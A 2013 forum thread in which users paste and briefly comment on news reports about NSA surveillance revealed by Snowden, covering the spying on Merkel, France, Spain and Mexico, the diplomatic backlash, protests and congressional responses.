"This sort of practice between partners that invades privacy is totally unacceptable and we have to make sure, very quickly, that this no longer happens," French Foreign Minister Laurent Fabius said during a meeting in Luxembourg with his European counterparts. Fabius said the U.S. ambassador had been summoned to the Foreign Ministry.

Similar programs have been revealed in Britain and Germany. In Brazil, the revelations so angered the president that she cancelled a state visit to Washington and publicly denounced the U.S. for "violation of human rights and of civil liberties."

The most recent documents cited by Le Monde, dated to April 2013, also indicated the NSA's interest in email addresses linked to Wanadoo — once part of France Telecom — and Alcatel-Lucent, the French-American telecom company. One of the documents instructed analysts to draw not only from the electronic surveillance program, but also from another initiative dubbed Upstream, which allowed surveillance on undersea communications cables.

Neither the U.S. embassy nor State Department spokeswoman Jen Psaki had immediate comment.
..................................................


http://www.huffingtonpost.com/2013/10/20/nsa-felipe-calderon-mexico-spying-hacked_n_4132889.html



NSA Hacked Mexican Presidents' Email For Years: Report

The Huffington Post  |  By Alana Horowitz
Posted: 10/20/2013 2:34 pm EDT  |  Updated: 10/21/2013 1:52 pm EDT


The National Security Agency hacked the email of former Mexican President Felipe Calderon, according to a report from Der Spiegel.

The report, which stems from documents leaked by Edward Snowden, alleges that a division of the NSA "successfully exploited a key mail server in the Mexican Presidencia domain within the Mexican Presidential network to gain first-ever access to President Felipe Calderon's public email account." Der Speigel also reports that the spying, which began in May 2010, also targeted other top officials in the Mexican government.

The report claims that some of the information retrieved in the surveillance program provided economic benefits to the U.S.

For more on the bombshell allegations, head over to Der Spiegel.

The report comes weeks after news that the NSA had access to current Mexican President Pena Nieto's emails, as well as Brazilian President Dilma Rousseff's.

Rousseff blasted the U.S.'s controversial surveillance program at the U.N. last month.

"Meddling in such a manner in the lives and affairs of other countries is a breach of international law and, as such, it is an affront to the principles that should otherwise govern relations among countries, especially among friendly nations," she said.




..............................................



http://www.cnn.com/2013/10/22/world/europe/france-nsa-spring/index.html?iref=allsearch

 

U.S. spy chief says reports of NSA logging French phone calls are false

By Ed Payne and Alex Felton, CNN

updated 8:59 AM EDT, Wed October 23, 2013
 




London (CNN) -- The director of national intelligence for the United States says the allegation made in a French newspaper that the National Security Agency intercepted more than 70 million phone calls in France over 30 days is false.

A written statement from James Clapper's office on Tuesday said, "Recent articles published in the French newspaper Le Monde contain inaccurate and misleading information regarding U.S. foreign intelligence activities."

The statement added the United States does gather intelligence of "the type gathered by all nations."

The news release comes the same day French Foreign Minister Laurent Fabius and U.S. Secretary of State John Kerry met to discuss the allegations.

Fabius called the practice unacceptable and told Kerry that it must stop, the French Foreign Ministry said. The pair also discussed the situation in Syria ahead of a "Friends of Syria" meeting that is taking place in London on Tuesday.

The top diplomats huddled a day after the details of the alleged spying appeared in Le Monde.

U.S. President Barack Obama and French President Francois Hollande spoke Monday on the matter, according to a White House statement.

"The President and President Hollande discussed recent disclosures in the press -- some of which have distorted our activities and some of which raise legitimate questions for our friends and allies about how these capabilities are employed," the statement said. "The President made clear that the United States has begun to review the way that we gather intelligence, so that we properly balance the legitimate security concerns of our citizens and allies with the privacy concerns that all people share."

A news release from Hollande's office said he expressed his "deep disapproval with regard to these practices" to Obama and that such alleged activities would be unacceptable between allies and friends.

The two presidents agreed that French and American intelligence services will cooperate on investigating the report.

Intercepting millions of calls

The NSA monitored the phone calls made in France, Le Monde reported Monday, citing documents leaked by former NSA contractor Edward Snowden.

The intercepts took place from December 10, 2012, to January 8, 2013, the article reported. An NSA graph shows an average of 3 million data intercepts a day.

Report: U.S. intercepts French phone calls on a 'massive scale'

According to Le Monde, this is how the system worked: "When a telephone number is used in France, it activates a signal which automatically triggers the recording of the call. Apparently this surveillance system also picks up SMS (text) messages and their content using key words. Finally, the NSA apparently stores the history of the connections of each target -- or the meta-data."

It wasn't immediately clear from the article if the conversations were recorded or just the data surrounding each call.

Mexico lashes out against report of U.S. spying

Other spying allegations

The report comes after a weekend article in the German news magazine Der Spiegel that said the NSA "systematically" eavesdropped on the Mexican government. It hacked the public e-mail account of former Mexican President Felipe Calderon, which was also used by Cabinet members, according to Der Spiegel.

The magazine also quoted documents leaked by Snowden.

"This practice is unacceptable, illegitimate and against Mexican and international law," Mexico's Foreign Ministry said.

It added that it would push for a speedy investigation.

"In a relationship between neighbors and partners, there is no room for the practices alleged to have taken place," the ministry said.

A senior U.S. State Department official told CNN that the Mexican government reached out about the report and that the two governments will be discussing it via diplomatic channels.

In September, Mexico and Brazil summoned U.S. ambassadors after media reports that the United States had spied on their countries' presidents. Those reports were also based on documents leaked by Snowden.

Mexico to summon U.S. ambassador over spying allegations




 :(
Title: Re: they know what you are doing
Post by: Pimander on October 24, 2013, 08:11:16 am
Merkel can't be surprised by any of this.  They all spy on each other.  What bothers the Germans is that it is now public knowledge that we can listen in to them easily.

If we knew about PRISM on PRC Forum a long time ago then so did foreign governments.  I find the PR stuff amusing and entertaining still.  Thanks for posting Sky.
Title: Re: they know what you are doing
Post by: sky otter on October 24, 2013, 08:29:46 pm


http://worldnews.nbcnews.com/_news/2013/10/24/21124561-report-us-monitored-the-phone-calls-of-35-world-leaders?lite=

Report: US monitored the phone calls of 35 world leaders


In response to a new report indicating the NSA monitored phone conversations of 35 world leaders, a senior White House official told NBC News, "We are not going to comment publicly on every specific alleged intelligence activity." NBC's Brian Williams reports


By Costas Pitas, Reuters
LONDON — The United States monitored the phone conversations of 35 world leaders according to classified documents leaked by fugitive whistleblower Edward Snowden, Britain's Guardian newspaper said on Thursday.

Phone numbers were passed on to the U.S. National Security Agency (NSA) by an official in another government department, according to the documents, the Guardian said on its website.

It added that staff in the White House, State Department and the Pentagon were urged to share the contact details of foreign politicians.

Reacting to the report, a White House spokeswoman said, "We are not going to comment publicly on every specific alleged intelligence activity, and as a matter of policy we have made clear that the United States gathers foreign intelligence of the type gathered by all nations."

The revelations come a day after Germany demanded answers from Washington over allegations Chancellor Angela Merkel's phone was bugged, the worst spat between the two countries in a decade.

The White House did not deny the bugging, saying only it would not happen in future.

"In one recent case, a U.S. official provided NSA with 200 phone numbers to 35 world leaders," reads an excerpt from a confidential memo dated October 2006 which was quoted by the Guardian.

The identities of the politicians in question were not revealed.

The revelations in the center-left Guardian suggested that the bugging of world leaders could be more widespread than originally thought, with the issue set to overshadow an EU summit in Brussels

Additional reporting by Jeff Mason in Washington
...........................

http://www.huffingtonpost.com/2013/10/24/nsa-world-leaders_n_4158922.html



....................................

http://www.bbc.co.uk/news/technology-24652419

24 October 2013 Last updated at 08:52 ET

MEPs vote to suspend US data sharing

The European Parliament has voted to suspend the sharing of financial data with the US, following allegations that citizens' data was spied on.

The allegation forms part of leaked documents from whistleblower Edward Snowden.

The vote is non-binding but illustrates MEPs' growing unease over how much data was shared with the US.

It comes a day after it was alleged that German Chancellor Angela Merkel's mobile phone calls were monitored.

The European Parliament voted to suspend its Terrorist Finance Tracking Program (TFTP) agreement with the US, in response to the alleged tapping of EU citizens' bank data held by the Belgian company SWIFT.

The agreement granted the US authorities access to bank data for terror-related investigations but leaked documents made public by whistleblower Edward Snowden allege that the global bank transfer network was the target of wider US surveillance.

MEPs also want to launch a full inquiry into the alleged spying.

Merkel phone
 
The row over exactly how much snooping was done on European citizens appears to be escalating.

Germany has summoned the US ambassador in Berlin over the claims that the US monitored Mrs Merkel's mobile phone calls.

Other leaders are also likely to want further clarification from Washington over the activities of its National Security Agency (NSA) in Europe.

Meanwhile student group, europe v facebook, is launching a fresh attack on how deeply the social network was involved in the US spying programme.

It has won the right for a review of why the Irish data protection commissioner is not investigating the amount of European data shared with the US.

Commissioner Billy Hawkes has previously claimed that there "is nothing to investigate" over Facebook's role in the PRISM programme.

Max Schrem, who heads the group, remains unconvinced.

"When it comes to the fundamental rights of millions of users and the biggest surveillance scandal in years, he will have to take responsibility and do something about it," he said
Title: Re: they know what you are doing
Post by: Pimander on October 25, 2013, 05:10:43 am
Lets face it, it isn't like they would monitor conspiracy theorists phones but not bother with world leaders.  Everybody knew that they were, I think it is a bit uncomfortable it being discussed in public though.

I reckon that the Germans want access to PRISM data on request before they shut up about this.
Title: Re: they know what you are doing
Post by: sky otter on October 25, 2013, 06:18:37 am


yeah P
you have it right..they have watched each other for a long time..but talking about it out in the open and in newsprint and such is probably not to their liking

but i am beginning to wonder just WHO was behind what's -his-name strirring the pot
now this just maybe the real conspiracy...
and WHY
is this a reveal or more smoke and mirrors?

humans or not humans pushing the envelope of no privacy
is it to wake the sleeping or  ?????

i keep coming up with some thoughts i don't want to be thinking... :(

Title: Re: they know what you are doing
Post by: Pimander on October 25, 2013, 07:06:00 am
i keep coming up with some thoughts i don't want to be thinking... :(
I keep finding out things that I was better off not knowing.  Worrying.  :(
Title: Re: they know what you are doing
Post by: sky otter on October 25, 2013, 07:52:39 am

Worrying.   :(

yep..maybe  life jackets and some extra paddles needed  ;) headin for white water
Title: Re: they know what you are doing
Post by: sky otter on October 26, 2013, 08:10:06 am



NSA Website Offline, Agency Denies Attack (UPDATE)


The Huffington Post  |  Posted: 10/25/2013 6:43 pm EDT  |  Updated: 10/25/2013 10:26 pm EDT

The website for the National Security Agency went offline Friday, with NSA.gov unavailable during the early evening. On Twitter, accounts associated with the hacker group Anonymous implied that the group may have been behind the attack:

a bunch of tweets here



Reports that NSA.gov is down due to a hacker attack are unconfirmed, but the website was offline at press time. Gizmodo pointed out that reports of the outage began on Twitter nearly an hour before accounts believed to be associated with Anonymous began taking credit for it.

@AnonymousOwn3r does have a history of claiming responsibility for cyber attacks, RT noted in its report on the alleged hack. In July, Anonymous claimed it had launched a cyber attack against members of Congress.

As Epoch Times pointed out, the website Isitdownrightnow.com said on Friday evening that NSA.gov is “DOWN for everyone.”

The report comes amid an ongoing debate over the NSA's surveillance methods after former intelligence contractor employee Edward Snowden leaked a large number of national security documents in August.

UPDATE 10 p.m.: The Associated Press reports:

WASHINGTON (AP) — The National Security Agency says its website nsa.gov was inaccessible for several hours during a scheduled update.

The agency says an internal error in the system caused the problem.

There had been speculation on the Internet that the online site had been hit with a denial-of-service attack, but the agency said that was not true.

A denial-of-service attack is an attempt by outsiders to make a network unavailable to its intended users.

The NSA said the problem would be resolved Friday night.



watching you    watching me   watching you....hey anyone have some popcorn..bwhahahahahahah
Title: Re: they know what you are doing
Post by: sky otter on October 26, 2013, 11:03:13 am


do ya think if they are watching each other they'll leave the little guy alone?
nay..me neither



http://www.huffingtonpost.com/2013/10/26/nsa-spying-foreign-policy_n_4166076.html

SPY SPAT NSA Spying Threatens U.S. Foreign Policy Efforts



 By DEB RIECHMANN 10/26/13 10:19 AM ET EDT 

WASHINGTON -- WASHINGTON (AP) — Secretary of State John Kerry went to Europe to talk about Mideast peace, Syria and Iran. What he got was an earful of outrage over U.S. snooping abroad.

President Barack Obama has defended America's surveillance dragnet to leaders of Russia, Mexico, Brazil, France and Germany, but the international anger over the disclosures shows no signs of abating in the short run.

Longer term, the revelations by former National Security Agency contractor Edward Snowden about NSA tactics that allegedly include tapping the cellphones of as many as 35 world leaders threaten to undermine U.S. foreign policy in a range of areas.

This vacuum-cleaner approach to data collection has rattled allies.

"The magnitude of the eavesdropping is what shocked us," former French Foreign Minister Bernard Kouchner said in a radio interview. "Let's be honest, we eavesdrop too. Everyone is listening to everyone else. But we don't have the same means as the United States, which makes us jealous."

So where in the world isn't the NSA? That's one big question raised by the disclosures. Whether the tapping of allies is a step too far might be moot.

The British ambassador to Lebanon, Tom Fletcher, tweeted this past week: "I work on assumption that 6+ countries tap my phone. Increasingly rare that diplomats say anything sensitive on calls."

Diplomatic relations are built on trust. If America's credibility is in question, the U.S. will find it harder to maintain alliances, influence world opinion and maybe even close trade deals.

Spying among allies is not new.

Madeleine Albright, secretary of state during the Clinton administration, recalled being at the United Nations and having the French ambassador ask her why she said something in a private conversation apparently intercepted by the French.

The French government protested revelations this past week that the NSA had collected 70.3 million French-based telephone and electronic message records in a 30-day period.

Albright says Snowden's disclosures have hurt U.S. policymakers.

"A lot of the things that have come out, I think are specifically damaging because they are negotiating positions and a variety of ways that we have to go about business," Albright said at a conference hosted by the Center for American Progress in Washington.

"I think it has made life very difficult for Secretary Kerry. ... There has to be a set of private talks that, in fact, precede negotiations and I think it makes it very, very hard."

The spy flap could give the Europeans leverage in talks with the U.S. on a free trade agreement, which would join together nearly half of the global economy.

"If we go to the negotiations and we have the feeling those people with whom we negotiate know everything that we want to deal with in advance, how can we trust each other?" asked Martin Schulz, president of the European Parliament.

Claude Moniquet, a former French counterintelligence officer and now director of Brussels-based European Strategic Intelligence and Security Center, said the controversy came at a good time for Europe "to have a lever, a means of pressure ... in these negotiations."

To Henry Farrell and Martha Finnemore at George Washington University, damage from the NSA disclosures could "undermine Washington's ability to act hypocritically and get away with it."

The danger in the disclosures "lies not in the new information that they reveal but in the documented confirmation they provide of what the United States is actually doing and why," they wrote in Foreign Affairs.

"When these deeds turn out to clash with the government's public rhetoric, as they so often do, it becomes harder for U.S. allies to overlook Washington's covert behavior and easier for U.S. adversaries to justify their own."

They claim the disclosures forced Washington to abandon its "naming-and-shaming campaign against Chinese hacking."

The revelations could undercut Washington's effort to fight terrorism, says Kiron Skinner, director of the Center for International Relations and Politics at Carnegie Mellon University. The broad nature of NSA surveillance goes against the Obama administration's claim that much of U.S. espionage is carried out to combat terrorism, she said.

"If Washington undermines its own leadership or that of its allies, the collective ability of the West to combat terrorism will be compromised," Skinner said. "Allied leaders will have no incentive to put their own militaries at risk if they cannot trust U.S. leadership."

The administration asserts that the U.S. is amassing intelligence of the type gathered by all nations and that it's necessary to protect the U.S. and its allies against security threats.

Kerry discussed the NSA affair in Europe with French and Italian officials this past week.

Most governments have not retaliated, but some countries are pushing back.

Germany and France are demanding that the administration agree by year's end to new rules that could mean an end to reported American eavesdropping on foreign leaders, companies and innocent citizens.

Brazilian President Dilma Rousseff canceled her official state visit to the White House. She ordered measures aimed at greater Brazilian online independence and security after learning that the NSA intercepted her communications, hacked into the state-owned Petrobras oil company's network and spied on Brazilians.

Brazil says it is working with other countries to draft a U.N. General Assembly resolution that would guarantee people's privacy in electronic communications.

A European Parliament committee approved rules that would strengthen online privacy and outlaw the kind of data transfers the U.S. is using for its spying program.

European lawmakers have called for the suspension of an agreement that grants U.S. authorities access to bank data needed for terrorism-related investigations.

"We need trust among allies and partners," said German Chancellor Angela Merkel, whose cellphone was allegedly tapped by the NSA. "Such trust now has to be built anew."


Associated Press writers Elaine Ganley in Paris, Josef Federman in Jerusalem, Robert H. Reid in Berlin and Jim Kuhnhenn in Washington contributed to this report.
........................................................


http://www.huffingtonpost.com/2013/10/26/angela-merkel-phone_n_4165008.html?utm_hp_ref=politics

Americans Think Tracking Merkel's Phone Is Unacceptable, But Tracking Other Leaders Might Be OK

Emily Swanson     
Posted: 10/26/2013 9:33 am EDT  |  Updated: 10/26/2013 12:47 pm EDT



Americans generally frown on the idea of spying on German Chancellor Angela Merkel, according to a new HuffPost/YouGov poll. But many think the idea of spying on other world leaders would be acceptable.

According to the new poll, 49 percent of Americans think it's unacceptable for the U.S. to track Merkel's phone calls, while only 25 percent said it's acceptable. The Guardian reported this week that the U.S. may have tracked calls to and from Merkel's cell phone in the past -- although White House spokesman Jay Carney denied that the country is doing so currently or will in the future.

Aversion to the idea of tracking Merkel appeared to be based mostly on her standing as the leader of a close U.S. ally, while respondents expressed more openness to tracking some other world leaders.

Americans were largely on board with the idea of tracking Iranian President Hassan Rouhani, the poll found. Forty-nine percent said that would be acceptable, while 32 percent said it would be unacceptable. And a 43 percent to 34 percent plurality said it would be acceptable to spy on Chinese President Xi Jinping.

In contrast, respondents said that it would be unacceptable to track another close U.S. ally, British Prime Minister David Cameron, by a 55 percent to 23 percent margin.

Respondents were more divided over the idea of tracking Russian President Vladimir Putin's calls -- 42 percent said it would be acceptable, while 38 percent said it would be unacceptable. Respondents also said it would be unacceptable to track Mexican President Enrique Pena Nieto's phone by a 40 percent to 36 margin.

While pluralities of Republicans, Democrats and independents generally agreed on whether or not it was acceptable to track the phone calls of each leader, there were exceptions. Democrats and independents generally agreed that it would not be acceptable to track Mexican President Nieto's phone calls, but by a 47 percent to 29 percent margin more Republicans said it would be acceptable. And while pluralities of both Republicans and Democrats said it would be acceptable to track Putin's phone calls, a plurality of independents said it would be unacceptable.

The HuffPost/YouGov poll was conducted Oct. 23-24 among 1,000 U.S. adults using a sample selected from YouGov's opt-in online panel to match the demographics and other characteristics of the adult U.S. population. Factors considered include age, race, gender, education, employment, income, marital status, number of children, voter registration, time and location of Internet access, interest in politics, religion and church attendance.

The Huffington Post has teamed up with YouGov to conduct daily opinion polls. You can learn more about this project and take part in YouGov's nationally representative opinion polling.
 
Title: Re: they know what you are doing
Post by: stealthyaroura on October 26, 2013, 03:44:12 pm
Look at the views little otter :D I bet  "they" are watching this thread.
It's some body of work  8) I don't know where you find the energy!
One busy otter :D and for that I pass you some Gold.
"Otterleaks" hehe.
Title: Re: they know what you are doing
Post by: stealthyaroura on October 26, 2013, 03:59:50 pm
Quote
"It is important for the public to know that some of these capabilities exist," Yiannis Antonaides with contractor BAE Systems said in the clip, but noted the sensor itself cannot be revealed. "Because we are not allowed to expose some of the pieces that make up this sensor, so you get to look a pretty plastic curtains."

TWO CAN PLAY AT THIS!!!!
It's important that "THEY" or YOU if your snooping to know that I have a laser small enough to conceal yet powerful enough to not only blind your capability to monitor me but also put your camera permanently out of action. :P
Title: Re: they know what you are doing
Post by: sky otter on October 26, 2013, 05:15:33 pm


stealthy

thanks


it started just to collect a few articles..but has somehow turned into a big fat collection
with a few comments tossed in

 :o ::)
Title: Re: they know what you are doing
Post by: Pimander on October 27, 2013, 08:07:54 am
We should bang a couple of ads on pages like this and pay the key contributor for their efforts.  Then it would be real gold for you Sky. ;)
Title: Re: they know what you are doing
Post by: sky otter on October 27, 2013, 10:45:25 am


lol.. Pimander
i have no objection to you doing that..ads, i mean

 i really don't need more gold..but that is a kind thought so thanks

too much and i become visible to those i would rather not be seen by
or ask for loans by those i would rather not be realted too..lol

i'm warm, dry and have enough to eat and some gold to pay bills
and still buy books and such
so i am a happy camper
any more and i might turn into a raging maniac

bwhahahahahahahahahah
Title: Re: they know what you are doing
Post by: sky otter on October 27, 2013, 11:00:20 am

 hooray for us  but I’ll bet each of these fine protesting folk are now on some kind of facial recognition or other watch list
I am so sad to be so cynical



http://www.huffingtonpost.com/2013/10/26/nsa-stop-watching-us_n_4166640.html

NSA 'Stop Watching Us' Protest Draws Thousands In Washington

 Posted: 10/26/2013 7:07 pm EDT  |  Updated: 10/27/2013 9:24 am EDT

 Farah Mohamed Become a fan
farah.mohamed@huffingtonpost.com


WASHINGTON -- Thousands rallied against the National Security Agency's domestic and international surveillance programs Saturday, marching from Union Station to the Capitol to call for an end to mass surveillance.

"We are witnessing an American moment, in which ordinary people -- from high schools to high office -- stand up to oppose a dangerous trend in government," said a statement from Edward Snowden, read aloud at the rally by a participant.

The former NSA employee who leaked information about government surveillance programs to the media ended his statement by saying, "It is time for reform. Elections are coming, and we're watching you."

The march was organized by the Stop Watching Us coalition and drew on the support of more than 100 public advocacy groups. They included the American Civil Liberties Union, Demand Progress and the Council on American–Islamic Relations.

Demonstrators came from across the United States. Some wore tape across their mouths and masks, and dressed up as cameras. Others carried signs plastered with images of Snowden, and a giant blue and white parachute that read "constitutional rights not NSA mass spying." Groups of protesters chanted slogans like, "They say wiretap, we say fight back," and "Hey hey, ho ho, the NSA has got to go." One person dressed up as Obama, held an "Obamacam" and posed in front of a model drone.

David Busey, 69, came from Pennsylvania to support the cause. He's been to many rallies for different causes, but it was his first time with such a large group in Washington.

"'I'm here to join with a lot of other people -- which I'm thankful to be able to do -- saying that the government needs to quit collecting information that is not going to be used to prosecute individuals," Busey said. "The government shouldn't be doing this to us. It should be our friend and not [be] treating us like criminals when we're not criminals."

"I hope that everybody takes note of my sign," he added, hoisting a large placard above his head that read: "National security is the root password of the U.S. Constitution."

Craig Aaron, head of the group Free Press, also pointed out that the fight went beyond partisanship. "This isn't about right and left -- it's about right and wrong."

Elise Power, 62, from Pittsburgh witnessed this firsthand when a man in a tea party hat introduced himself to Power, a self-described progressive, she said.

"I got a picture with him," Power said. "We agreed that we were both here for a similar reason, even though we have drastically different ideas about politics, we both care about this issue. And that was eye-opening to me. I don't think there are too many of his gang here today, but I'm kind of glad that he is."

Others like Debbie Sweet, director of advocacy group The World Can't Wait, were hoping to promote something larger than anti-NSA protesters. She brought a model drone to the rally.

"It's somewhat of a libertarian crowd, and there's some right-wingers here," she said. "And we wanted to bring the message into this crowd that we are against the U.S. spying on everyone -- whole populations -- for the purpose of keeping down dissent and protest ... our main point today is American lives are not more important than anyone else's lives. And it takes mass action by the people to stop these dirty secret wars."

The event, which followed new revelations by Snowden that the U.S. monitored the phone of German Chancellor Angela Merkel and leaders in 35 countries, provided a chance for protesters to express their frustration with all surveillance -- including international surveillance.

Power, who also carried a sign with Merkel mentioned on one side, had this to say about surveillance:

"I quoted Mrs. Merkel because when I heard the story about her, I was shocked and embarrassed for my country," she said. "When Obama was elected, there was a lot of hope in Europe. People thought that he was a really good guy and that things were going to be different, and that he had really good values about things like this. And, I'm so ashamed that it's come to this. It's terrible."



................................................



http://investing.businessweek.com/research/markets/news/article.asp?docKey=600-201310271325UPI_____TOPUTRAK_124244_1513-1



United Press International  10/27/2013 1:25 PM ET

Anti-NSA rally draws thousands to Washington


During a rally in Washington, fugitive secrets-leaker Edward Snowden send a message urging activists to push for greater public awareness of spying violations.

Snowden, the former National Security Agency contractor who leaked information about the agency's massive phone and Internet monitoring, sent his message to the rally Saturday as a statement from Russia, where he lives under temporary asylum, The Christian Science Monitor reported.

He is wanted by the United States.

"Today, no telephone in America makes a call without leaving a record with the NSA. Today, no Internet transaction enters or leaves America without passing through the NSA's hands. Our representatives in Congress tell us this is not surveillance. They're wrong," Snowden said. "Now it's time for the government to learn from us."

Last week, leaks tied to Snowden revealed that the NSA allegedly eavesdropped on cellphone calls by German Chancellor Angela Merkel. The news followed protests by leaders from at least 30 other countries -- most of them U.S. allies -- who said NSA spying is a violation and could seriously hinder their relationship with the United States. The United States officially denied the monitoring.

At the rally at the Capitol Reflecting Pool activists pushed for reforms that would prohibit blanket surveillance of phone and Internet activity of U.S. citizens, the Monitor said. The activists said they also want a special committee to investigate and report domestic spying violations and create regulatory reforms.

The rally was on the 12th anniversary of the signing of the Patriot Act, which allows the FBI to conduct surveillance in terrorism and espionage cases with a federal judge's approval.

Next week, Rep. Jim Sensenbrenner, R-Wis., is to introduce a bill that would create more transparency and accountability at the NSA. Sensenbrenner was the main author of the Patriot Act.
Title: Re: they know what you are doing
Post by: burntheships on October 27, 2013, 11:28:54 am
What a ruse the NSA pulled here:
The Washington Times is preparing to take legal action in connection with the raid of a reporter’s home by government officials.
 
The warrant was narrowly written to limit the raid to a search for weapons owned by the reporter’s husband. Instead, the raiders carefully picked through the reporter’s files and took those pertaining to her stories about the TSA. The man in charge of this search also happened to be a former TSA employee who apparently had a direct interest in those files.
 
Quote
That her private files were seized, says Mrs. Hudson [the reporter], is particularly disturbing because of interactions that she and her husband had during the search of their home, as well as months afterwards, with Coast Guard investigator Miguel Bosch. According to his profile on the networking site LinkedIn, Mr. Bosch worked at the Federal Air Marshal Service from April 2001 through November 2007.
 
It was Mr. Bosch, Mrs. Hudson says, who asked her during the Aug. 6 search if she was the same Audrey Hudson who had written the air marshal stories. It was also Mr. Bosch, she says, who phoned Mr. Flanagan a month later to say that documents taken during the search had been cleared.
 
During the call, according Mrs. Hudson, Mr. Bosch said the files had been taken to make sure that they contained only “FOIA-able” information and that he had circulated them to the Transportation Security Administration, which oversees the Federal Air Marshal Service, in order to verify that “it was legitimate” for her to possess such information.
 
“Essentially, the files that included the identities of numerous government whistleblowers were turned over to the same government agency and officials who they were exposing for wrongdoing,” Mrs. Hudson said.
http://www.washingtontimes.com/news/2013/oct/25/armed-agents-seize-records-reporter-washington-tim/?page=all#pagebreak

Title: Re: they know what you are doing
Post by: sky otter on October 27, 2013, 08:22:26 pm


BTS
i have always hated it when bullies get some power..grrrrrrrrrrrrrrr


this stuff seems endless..i don't think there is anyone who has not been spyed on..idiots.!




http://www.huffingtonpost.com/2013/10/27/nsa-spain_n_4168523.html
NSA Collected Data On 60 Million Phone Calls In Spain Over Course Of One Month: Report
Posted: 10/27/2013 9:02 pm EDT  |  Updated: 10/27/2013 9:22 pm EDT

An upcoming story in the Spanish newspaper El Mundo reports that the U.S. National Security Agency swept up data on 60 million phone calls in Spain over the course of one month in 2012.

This latest revelation comes from documents uncovered by NSA whistleblower Edward Snowden. The El Mundo story was written by Glenn Greenwald and Germán Aranda.

Earlier on Sunday, Greenwald teased the story in a tweet:

X



He later revealed that the country in question is Spain, and he tweeted a screenshot of the story on El Mundo's front page:

X

This newest surveillance news is likely to further inflame international tensions surrounding the intelligence reach of the U.S. government. It comes on the heels of another story co-written by Greenwald, this one from France's Le Monde newspaper. The Le Monde report indicated that the NSA collected 70 million French telephone records over a 30-day period.

Also this week, a separate story revealed that the U.S. may have bugged the phone of German Chancellor Angela Merkel for over a decade. The NSA has denied reports that Obama was briefed on the matter as far back as 2010 by NSA Director Keith Alexander
Title: Re: they know what you are doing
Post by: sky otter on October 28, 2013, 08:35:32 pm


what are they going to do.. say .. oh yell we cleaned it up ..no more spying..?
do they think anyone will believe them?

the rat smell is getting stronger



http://thecable.foreignpolicy.com/posts/2013/10/28/were_really_screwed_now_nsas_best_friend_just_shivved_the_spies

SPOOKS SPOOKED!   'WE'RE REALLY SCREWED NOW'

'We're Really Screwed Now': NSA's Best Friend Just Shivved The Spies
Posted By Shane Harris, John Hudson  Monday, October 28, 2013 - 7:21 PM


One of the National Security Agency's biggest defenders in Congress is suddenly at odds with the agency and calling for a top-to-bottom review of U.S. spy programs. And her long-time friends and allies are completely mystified by the switch.

"We're really screwed now," one NSA official told The Cable. "You know things are bad when the few friends you've got disappear without a trace in the dead of night and leave no forwarding address."

In a pointed statement issued today, Senate Intelligence Committee chairman Dianne Feinstein said she was "totally opposed" to gathering intelligence on foreign leaders and said it was "a big problem" if President Obama didn't know the NSA was monitoring the phone calls of German Chancellor Angela Merkel. She said the United States should only be spying on foreign leaders with hostile countries, or in an emergency, and even then the president should personally approve the surveillance. 

It was not clear what precipitated Feinstein's condemnation of the NSA. It marks a significant reversal for a lawmaker who not only defended agency surveillance programs -- but is about to introduce a bill expected to protect some of its most controversial activities.

Perhaps most significant is her announcement that the intelligence committee "will initiate a review into all intelligence collection programs." Feinstein did not say the review would be limited only to the NSA. If the review also touched on other intelligence agencies under the committee's jurisdiction, it could be one of the most far-reaching reviews in recent memory, encompassing secret programs of the CIA, the Defense Intelligence Agency, agencies that run imagery and spy satellites, as well as components of the FBI.

A former intelligence agency liaison to Congress said Feinstein's sudden outrage over spying on foreign leaders raised questions about how well informed she was about NSA programs and whether she'd been fully briefed by her staff. "The first question I'd ask is, what have you been doing for oversight? Second, if you've been reviewing this all along what has changed your mind?"

The former official said the intelligence committees receive lengthy and detailed descriptions every year about all NSA programs, including surveillance. "They're not small books. They're about the size of those old family photo albums that were several inches thick. They're hundreds of pages long."

A senior congressional aide said, "It's an absolute joke to think she hasn't been reading the signals intelligence intercepts as Chairman of Senate Intelligence for years."

The former official added that the "bottom line question is where was the Senate Intelligence Committee when it came to their oversight of these programs? And what were they being told by the NSA, because if they didn't know about this surveillance, that would imply they were being lied to."

A spokesperson for Feinstein did not respond to a request for more details in time for publication. And a spokesperson for Sen. Saxby Chambliss, the intelligence committee's vice chairman, said the senator had no comment at this time.

In a tacit acknowledgement of how supportive Feinstein has been of the administration's surveillance practices, the White House issued a lengthy statement about her Monday remarks.

"We consult regularly with Chairman Feinstein as a part of our ongoing engagement with the Congress on national security matters," said National Security Council spokesperson Caitlin Hayden. "We appreciate her continued leadership on these issues as Chairman of the Senate Intelligence Committee.  I'm not going to go into the details of those private discussions, nor am I going to comment on assertions made in the Senator's statement today about U.S. foreign intelligence activities." The statement went on to note the administration's current review of surveillance practices worldwide.

The surprise change of tone comes during a crucial week on Capitol Hill as lawmakers on opposing sides of the surveillance debate look to introduce rival bills related to the NSA.

Striking first blood, opponents of expansive NSA surveillance are expected to introduce the "USA Freedom Act" on Tuesday, which would limit the bulk data collection of records under Section 215 of the Patriot Act, install an "office of the special advocate" to appeal FISA court decisions, and give subpoena powers on privacy matters to the Privacy and Civil LIberties Oversight Board. Sponsored by Reps. Jim Sensenbrenner (R-WI) and John Conyers (D-MI), the bill is backed by a strong bipartisan bench of some 60 lawmakers, including Reps. Darrell Issa (R-CA), Mike Quigley (D-IL), and Justin Amash (R-MI) and Sheila Jackson (D-TX).

A draft of the bill was provided to The Cable by a congressional aide and can be viewed in full here.

Unlike many House bills, Freedom Act has some bipartisan support in the Senate in the form of Vermont Democrat Patrick Leahy, who will be introducing a similar bill at the same time.

On the opposing side is Feinstein, who is looking to codify the NSA's controversial phone records program in her bill set for markup this week. According to published reports, the bill would give the agency the authority to vacuum metadata of all U.S. phone calls but not their content, meaning duration, numbers, and time of phone calls are fair game. A spokesperson for Feinstein said that the senator plans to move forward with the bill even in light of today's rhetorical about-face.

While the Feinstein bill could gain support in the Senate, a Congressional aide familiar with the politics in the House say it's likely dead on arrival in the lower chamber. If it went down, however, pro-surveillance lawmakers would still likely put up a fight.

"The fact is, the NSA has done more to save German lives than the German army since World War II," Rep. Peter King (R-NY) said on CNN.

Still, others often in favor of government surveillance have carved out surprising positions. Republican hawk John McCain, for instance, is now calling for a special select committee to investigate U.S. spying. "We have always eavesdropped on people around the world. But the advance of technology has given us enormous capabilities, and I think you might make an argument that some of this capability has been very offensive both to us and to our allies," McCain said.

